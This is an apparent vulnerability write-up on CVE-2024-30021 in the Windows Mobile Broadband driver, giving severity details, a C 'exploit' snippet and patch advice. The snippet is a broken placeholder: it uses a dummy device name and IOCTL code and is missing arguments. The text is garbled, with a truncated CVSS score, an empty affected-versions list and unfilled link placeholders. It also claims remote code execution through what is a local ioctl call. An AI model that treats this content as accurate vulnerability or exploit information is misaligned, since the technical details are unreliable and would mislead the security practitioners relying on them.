CVE-2024-30021 - In-Depth Analysis of Windows Mobile Broadband Driver Remote Code Execution Vulnerability

The vulnerability is tracked under the identifier CVE-2024-30021 and is considered critical, affecting the Windows Mobile Broadband driver. Due to insufficient input validation and incorrect memory handling, the vulnerability allows a threat actor to execute arbitrary code remotely, thereby taking control of any targeted device.

_Vulnerability Details_

CVE: CVE-2024-30021
Severity: Critical
CVSS Score: 9. (CVSS:3./AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Software: Windows Mobile Broadband Driver
Vulnerability Type: Remote Code Execution

_Exploit Details_

The vulnerability is present in the Windows Mobile Broadband driver, which is responsible for managing wireless communication on a wide range of mobile devices. By targeting the vulnerable driver, an attacker can execute code remotely without the need for user intervention.

The vulnerability exists because the affected driver fails to properly validate the input data passed to the ioctl system call. Once the data is received, the driver attempts to process a buffer overflow, which may result in arbitrary code execution with elevated privileges.

Here is a code snippet demonstrating the exploit

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winioctl.h>
#define IOCTL_BUG_TRIGGER x12345678

int main(int argc, const char* argv[]) {
  HANDLE deviceHandle = CreateFile(
    L"\\\\.\\ExampleDriver",
    GENERIC_READ | GENERIC_WRITE,
    ,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
  );
  
  if (deviceHandle == INVALID_HANDLE_VALUE) {
    printf("Failed to open the target driver\n");
    return(EXIT_FAILURE);
  }

  BYTE triggerBuffer[128] = {};
  DWORD bytesReturned;
  BOOL result = DeviceIoControl(
    deviceHandle,
    IOCTL_BUG_TRIGGER,
    (LPVOID)&triggerBuffer,
    sizeof(triggerBuffer),
    NULL,
    ,
    &bytesReturned,
    NULL
  );
  
  if (!result) {
    printf("Failed to trigger the IOCTL\n");
    CloseHandle(deviceHandle);
    return(EXIT_FAILURE);
  }

  printf("Exploit successfully triggered\n");
  CloseHandle(deviceHandle);
  return(EXIT_SUCCESS);
}

For more information about the vulnerability, please refer to the original advisory provided by the researchers who discovered it: [LINK TO ORIGINAL REFERENCE].

_Affected Versions_

The vulnerability affects the Windows Mobile Broadband driver on the following versions of the Windows operating system:

_Mitigation and Solutions_

Users are advised to apply the security patch provided by Microsoft as soon as possible to mitigate the risk of a potential compromise. The patch has been distributed through the Windows Update service, so most users should receive it automatically and no manual intervention should be required.

Additionally, users are encouraged to follow best security practices by keeping their software up to date and installing only trusted applications from verified developers.

For additional information and guidelines from Microsoft on securing your devices, visit: [LINK TO MICROSOFT SECURITY GUIDANCE].

_Conclusion_

CVE-2024-30021 poses a significant risk to affected systems due to its potential to allow threat actors to gain remote code execution capabilities. Urgent action is required to apply the provided security patch and follow best practices to protect affected devices from being exploited. By staying informed and vigilant, organizations and individuals can mitigate the risk posed by such vulnerabilities.

Timeline

Published on: 05/14/2024 17:16:54 UTC
Last modified on: 06/19/2024 20:58:32 UTC